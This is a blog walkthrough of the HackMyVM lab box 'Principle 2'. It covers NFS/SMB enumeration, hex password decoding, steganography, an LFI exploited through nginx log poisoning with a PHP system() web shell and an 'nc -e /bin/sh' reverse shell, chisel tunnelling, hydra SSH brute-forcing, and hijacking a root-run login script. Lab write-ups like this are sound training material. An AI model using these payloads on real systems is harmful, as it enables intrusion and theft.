Home Hack My VM - Principle 2
Post
Cancel

Hack My VM - Principle 2

Principle 2 HMV Principle 2

I was back to acting last beta tester for my friend Kaian. I have dedicated the last few days to solve Kaian’s last machine: Principle 2 for HackMyVM. I really, admire A LOT all the work behind each of one of these boxes. Again, it was a very fun machine and it was a great experience help him, but, this time I have to admit that was a little more complicated. This time it was a medium level machine, and to solve Principle 2, I had to learn a few new tricks.

And, as always, once completed the box, it’s time to write my walkthough.

Annotations

In this article we are going to assume the following ip addresses:

Local machine (attacker, local host): 10.0.0.1

Target machine (victim, Principle 2 box): 10.0.0.2

Warnings

Take a snapshot of the machine just after a fresh install. You may need it later.

Enumeration

Let’s see what services are running:

1
nmap -Pn -n -p- -T5 --min-rate 5000 10.0.0.2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Nmap scan report for 10.0.0.2
Host is up (0.00016s latency).
Not shown: 63482 closed tcp ports (reset), 2043 filtered tcp ports (no-response)
PORT      STATE SERVICE
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
2049/tcp  open  nfs
33591/tcp open  unknown
36599/tcp open  unknown
37023/tcp open  unknown
47791/tcp open  unknown
49353/tcp open  unknown

We can see trhee interesting services: web service, rpc and nfs.

Web service

If we browse to the machine, we will find the default apache webpage:

Default apache web page Default apache web page

RPC/NFS

If you find nfs then, probably, you can list and download (maybe upload) files. Let’s take a look:

1
$ showmount -e 10.0.0.2
1
2
3
Export list for 10.0.0.2:
/var/backups *
/home/byron  *

Let’s mount them and see what we find:

1
2
$ sudo mount -t nfs 10.0.0.2:/var/backups /tmp/backups -o nolock
$ sudo mount -t nfs 10.0.0.2:/home/byron /tmp/byron -o nolock

/home/byron

1
2
3
4
5
6
7
8
9
$ ls -la /tmp/byron
...
lrwxrwxrwx 1 root root      9 Nov 25 12:33 .bash_history -> /dev/null
-rw-r--r-- 1 1001   1001  220 Apr 23  2023 .bash_logout
-rw-r--r-- 1 1001   1001 3526 Apr 23  2023 .bashrc
drwxr-xr-x 3 1001   1001 4096 Nov 23 07:13 .local
-rw-r--r-- 1 1001   1001  114 Nov 19 18:55 mayor.txt
-rw-r--r-- 1 1001   1001  219 Nov 23 07:22 memory.txt
-rw-r--r-- 1 1001   1001  807 Apr 23  2023 .profile

After examining the files, the only interesting files that we found are mayor.txt and memory.txt.

1
2
$ cat /tmp/byron/mayor.txt
Now that I am mayor, I think Hermanubis is conspiring against me, I guess he has a secret group and is hiding it.

mayor.txt tells us a little about the relation between Byron and Hermanubis:

1
2
$ cat /tmp/byron/memory.txt
Hermanubis told me that he lost his password and couldn't change it, thank goodness I keep a record of each neighbor with their number and password in hexadecimal. I think he would be a good mayor of the New Jerusalem.

memory.txt tells us about Hermanubis lost his password, and the most interesting, Byron keeps a record (a backup, maybe?) of each neighbor password encoded in hexadecimal.

/var/backups

Let’s take a look to /backups:

1
2
$ ls -la /tmp | grep backups
drwxr--r-- 2 54 backup 28672 Nov 28 19:00 backups

We can’t read the files inside /backups because the lack of permissions. But, we can see that the owner of /backups is the user with UID 54, so we can impersonate that user by creating a new one with this UID:

1
2
3
4
$ sudo useradd -u 54 principle2 -g backup
$ sudo mkdir /tmp/bkp
$ sudo chown principle2 -R /tmp/bkp
$ sudo chmod 755 -R /tmp/bkp

With our new user we can read the files inside /backups:

1
2
$ sudo su principle2
$ ls /tmp/backups

And we see that there are a lot of text files naming with numbers. Filenames seems like a code, doesn’t?

SMB

Now, let’s take a look at smb:

1
2
3
4
5
6
7
8
9
10
$ enum4linux -a 10.0.0.2
...
        Sharename       Type      Comment
        ---------       ----      -------
        public          Disk      New Jerusalem Public
        hermanubis      Disk      Hermanubis share
        IPC$            IPC       IPC Service (Samba 4.17.12-Debian)
...
//10.0.0.2/public   Mapping: OK Listing: OK Writing: N/A
//10.0.0.2/hermanubis       Mapping: DENIED Listing: N/A Writing: N/A

We can see that we can read in /public, and we found the user hermanubis and we can’t read (or write) in /hermanubis. Let’s mount them and take a look:

/public

1
2
3
4
5
6
$ sudo mount -t cifs //10.0.0.2/public /tmp/public
$ ls -la /tmp/public
...
-rwxr-xr-x 1 root root    931 Nov 19 07:01 loyalty.txt
-rwxr-xr-x 1 root root    158 Nov 19 07:01 new_era.txt
-rwxr-xr-x 1 root root    718 Nov 19 07:00 straton.txt

We keep finding details of the history between Byron and Hermanubis:

1
2
3
4
5
6
7
8
$ cat /tmp/backups/loyalty.txt
This text was the source of considerable controversy in a debate between Byron (7) and Hermanubis (452).

What I propose, then, is that we are not born as entirely free agents, responsible only for ourselves. The very core of what we are, our sentience, separates us from and elevates us above the animal kingdom. As I have argued, this is not a matter of arrogance, but of responsibility.

2257686f2061726520796f752c207468656e3f22

To put it simply: each of us owes a burden of loyalty to humanity itself, to the human project across time and space. This is not a minor matter, or some abstract issue for philosophers. It is a profound and significant part of every human life. It is a universal source of meaning and insight that can bind us together and set us on a path for a brighter future; and it is also a division, a line that must held against those who preach the gospel of self-annihilation. We ignore it at our peril.

2257686f2061726520796f752c207468656e3f22?

1
2
$ echo "2257686f2061726520796f752c207468656e3f22" | xxd -p -r
"Who are you, then?"%

The hexadecimal string doesn’t seem very interesting. What does seem interesting is the Byron (7) and Hermanubis (452) part. Could this numbers be the “neighbor IDs”?

1
2
$ cat /tmp/backups/452.txt
4279726f6e4973417373686f6c650a0a
1
2
$ echo -n 4279726f6e4973417373686f6c650a0a | xxd -p -r
ByronIsAsshole

It looks like a possible password… And we found a couple more pieces about New Jerusalem history:

1
2
$ cat new_era.txt
Yesterday there was a big change, new government, new mayor. All citizens were reassigned their tasks. For security, every user should change their password.
1
2
3
4
5
$ cat straton.txt
This fragment from Straton's On the Universe appears to have been of great significance both to the Progenitor and to the Founder.

AMYNTAS:        But what does this tell us about the nature of the universe, which is what we were discussing?
STRATON:        That is the next question we must undertake to answer. We begin with the self because that is what determines our existence as individuals; but the self cannot exist without that which surrounds it. The citizen lives within the city; and the city lives within the cosmos. So now we must apply the principle we have discovered to the wider world, and ask: if man is like a machine, could it be that the universe is similar in nature? And if so, what follows from that fact?

/hermanubis

Let’s mount /hermanubis now:

1
sudo mount -t cifs //10.0.0.2/hermanubis /tmp/hermanubis -o username=hermanubis

Asks for a password, let’s try ByronIsAsshole

1
2
3
4
$ ls
...
  index.html                          N      346  Tue Nov 28 09:44:41 2023
  prometheus.jpg                      N   307344  Tue Nov 28 12:23:24 2023
1
2
3
4
5
$ cat index.html
...
    <h1>Welcome to the resistance forum</h1>
    <p>free our chains!</p>
    <img src="prometheus.jpg" alt="chained">

The only information we get with index.html is that Hermanubis is in the resistance. Let’s apply steganographic analysis to prometheus.jpg:

1
2
3
4
5
$ stegseek prometheus.jpg /usr/share/wordlists/rockyou.txt
...
[i] Found passphrase: "soldierofanubis"
[i] Original filename: "secret.txt".
[i] Extracting to "prometheus_message.txt".
1
2
$ cat prometheus_message.txt
I have set up a website to dismantle all the lies they tell us about the city: thetruthoftalos.hmv

thetruthoftalos.hmv

Ok, now that we have a new domain, we append it to our /etc/hosts:

1
2
$ echo "10.0.0.2 thetruthoftalos.hmv" | sudo tee -a /etc/hosts
10.0.0.2 thetruthoftalos.hmv

If we browse to thetruthoftalos.hmv we will found nothing (literally):

thetruthoftalos.hmv index.html thetruthoftalos.hmv index.html

Directory enumeration

We will search for resources on our new host:

1
2
3
4
5
6
7
$ gobuster dir -u http://thetruthoftalos.hmv --wordlist /usr/share/wordlists/dirb/common.txt -b 403,404 -x php,html,txt
...
/index.html           (Status: 200) [Size: 8]
/index.php            (Status: 200) [Size: 1970]
/index.php            (Status: 200) [Size: 1970]
/index.html           (Status: 200) [Size: 8]
/uploads              (Status: 301) [Size: 169] [--> http://thetruthoftalos.hmv/uploads/]

index.php

thetruthoftalos.hmv index.php thetruthoftalos.hmv index.php

We can type the name of a god and we will see info about it.

Talks about twelve gods, but, there are fourteen ;)

Path traversal/LFI (Local File Inclusion)

We can’t access to /uploads, but we can load the file of a god by requesting it in the url. If we look at the url that is showed when we insert the name of a god, we will see that maybe vulnerable to path traversal and/or a LFI. After messing around a while with wfuzz we can found an LFI vulnerability.

1
http://thetruthoftalos.hmv/index.php?filename=....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd

/etc/passwd /etc/passwd

We can see the system users in the /etc/passwd file.

As is a nginx server, we will try to find the access.log and error.log files:

1
2
http://thetruthoftalos.hmv/index.php?filename=....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//var/log/nginx/access.log
http://thetruthoftalos.hmv/index.php?filename=....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//var/log/nginx/error.log

As the access.log and error.log files are publicly accessible, we will try a log poisoning:

Log poisoning

This is the most tricky point. If you do not get the log poisoning on the first attempt because it’s sent or write in a wrong format, php will be interpreted loading the logs, but will throw errors, so the poisoning (and future poisonings) won’t work. At this point, if you fail poisoning the log, and, if you took a snapshot of the fresh install, you can restore the Virtual Machine to its original state very fast. If you didn’t take the snapshot, you will have to reinstall the Virtual Machine, and takes more time.

We start a listener on our host:

1
$ nc -lvnp 12345

Now, we poison the log and we try to get a reverse shell:

1
2
$ curl -i -v http://thetruthoftalos.hmv/index.php -A "<?php system(\$_REQUEST['cmd']);?>"
$ curl -i -v "http://thetruthoftalos.hmv/index.php?filename=....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F%2Fvar%2Flog%2Fnginx%2Faccess.log&cmd=nc%20-e%20/bin/sh%2010.0.1%2012345"

I did my php payload from zsh, so I had to escape the “$”:

If the log poisoning worked, we will have shell as www-data, and we will have to treat our tty to be able to work comfortably:

First, we get our terminal size, in the host:

1
2
$ stty size
56 256

Now, we treat our new tty in Principle 2:

1
2
3
4
5
6
7
$ script /dev/null -c bash
CTRL+Z
$ stty raw -echo; fg
$ reset xterm
$ export TERM=xterm
$ export SHELL=bash
$ stty rows 56 columns 256

User flag

We have Hermanubis’ password for SMB, so let’s see if he has the same password for his user:

1
2
$ su hermanubis
Password: ByronIsAsshole

Ok, it worked:

1
2
3
4
5
6
7
8
9
10
11
12
$ id
uid=1002(hermanubis) gid=1002(hermanubis) groups=1002(hermanubis

$ ls -la /home/hermanubis
...
lrwxrwxrwx 1 root       root          9 Nov 25 17:34 .bash_history -> /dev/null
-rwx------ 1 hermanubis hermanubis  220 Apr 23  2023 .bash_logout
-rwx------ 1 hermanubis hermanubis 3526 Apr 23  2023 .bashrc
-rwx------ 1 hermanubis hermanubis  264 Nov 23 21:18 investigation.txt
-rwx------ 1 hermanubis hermanubis  807 Apr 23  2023 .profile
drwxr-x--- 2 hermanubis hermanubis 4096 Nov 28 14:44 share
-rwx------ 1 hermanubis hermanubis 1080 Nov 25 17:29 user.txt

Now, we can get our first flag:

1
$ cat /home/hermanubis/user.txt

What was Hermanubis investigating?

1
2
3
4
$ cat /home/hermanubis/investigation.txt
I am aware that Byron hates me... especially since I lost my password.
My friends along with myself after several analyses and attacks, we have detected that Melville is using a 32 character password....
What he doesn't know is that it is in the Byron database...

Ok, so we know that Melville has a 32 character password. All txt files in /var/backup have 32 characters, so let’s assume that Melville is using an hexadecimal password that is stored in Byron’s backup. And we need a way to exploit this.

SSH

If we chek the running services, we will find a running ssh service on port 345:

1
2
3
4
$ systemctl status ssh.service
● ssh.service - OpenBSD Secure Shell server
 ...
     Active: active (running) since ...
1
2
3
4
5
$ ss -tunel
Netid        State         Recv-Q        Send-Q               Local Address:Port                Peer Address:Port        Process
...
tcp          LISTEN        0             128                           [::]:345                         [::]:*            ino:16724 sk:29 cgroup:/system.slice/ssh.service v6only:1 <->
...

We can stablish a reverse proxy using chisel and try to brute force the ssh authentication with hydra.

The dictionary

The first thing we are going to need to perform this attack it’s to create a dictionary with all the neighbors passwords:

1
2
3
$ sudo su principle2
$ cat /tmp/backups/*.txt > /tmp/neighbors_passwords.txt
$ exit

Chisel

We check which version of chisel we need:

1
2
$ uname -a
Linux principle2 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64 GNU/Linux

We need the amd64 version of chisel, and copy the binary from our host to Principle 2. To do this, we will mount an http server in our host, in the directory where we have the chisel binaries, with python:

1
$ python -m http.server 443

And, in Principle 2, we download the chisel bynary from our host:

1
2
3
$ wget http://10.0.0.1:443/chisel_1.9.1_linux_amd64
$ mv chisel_1.9.1_linux_amd64 chisel
$ chmod 700 chisel

Once copied, we will start the chisel server on our host:

1
$ ./chisel_1.9.1_linux_amd64 server --reverse 8080

And now, we will start the chisel client on Principle 2:

1
$ ./chisel client 10.0.0.1:8080 R:22222:127.0.0.1:345

Hydra

Once stablished the reverse proxy we will bruteforce the password from our host using hydra:

1
$ hydra -l melville -P /tmp/neighbors_password.txt -s 22222 127.0.0.1 ssh -f -o /tmp/melvile_pasword.txt
1
2
$ cat /tmp/melville_password.txt
... password: 1bd5528b6def9812acba8eb21562c3ec

Melville

We connect as Melville using ssh:

1
2
3
$ ssh -p 22222 melville@localhost

root is watching you, it has a record of all your steps:

Let’s see what we can do:

1
2
$ id
uid=1003(melville) gid=1003(melville) groups=1003(melville),1000(talos)

Melville is part of the talos group, interesting.

1
2
$ cat note.txt
Don't touch SUID, it is very DANGEROUS

We heed the warning, and, examining the files, we find the login warning message:

1
2
$ cat .bashrc | more
echo -e "root is watching you, it has a record of all your steps:\n`cat /opt/users.txt`"

We search interesting files that belongs to our user or groups:

1
2
3
4
$ find / -user melville -o -group melville -o -group talos 2>/dev/null | grep -vE '/run/user|/proc|/sys/fs|/dev|/home'
/opt/users.txt
/usr/bin/updater
/usr/local/share/report
1
2
3
4
5
6
7
8
$ ls -la /opt/users.txt
-rw-r----- 1 root talos 95 Dec 11 20:47 /opt/users.txt

$ ls -la /usr/bin/updater
-rwsr-x--- 1 root melville 16232 Nov 26 11:38 /usr/bin/updater

$ ls -la /usr/local/share/report
-rwxrwx--- 1 root talos 59 Dec  8 21:07 /usr/local/share/report

/opt/users.txt contains a list of the active users and the login time:

1
2
$ cat /opt/users.txt
melville pts/0        2023-12-18 00:00 (10.0.0.1)

And, after investigating the other binaries, we find that /usr/bin/updater it’s only a script which upgrades the system, while /usr/local/share/report is the script used to write the logins (the output of the who command) in /opt/users.txt. As the time stored in /opt/users.txt it’s our login time, we an assume that /usr/local/share/report it’s executed on login. And, if we look closely, we can see that we have write permissions because we are in the talos group. So we can try to hijack this file in order to get the root flag.

Hijacking

We will override the /usr/local/share/report content with a simple bash script that retrieves the root flag:

1
2
3
#!/usr/bin/env bash

cat /root/root.txt > /home/melville/root_flag.txt

Now, we logout, we login again as melville and we will get the root flag waiting for us in our home!

Enjoy! ;)

This post is licensed under CC BY 4.0 by the author.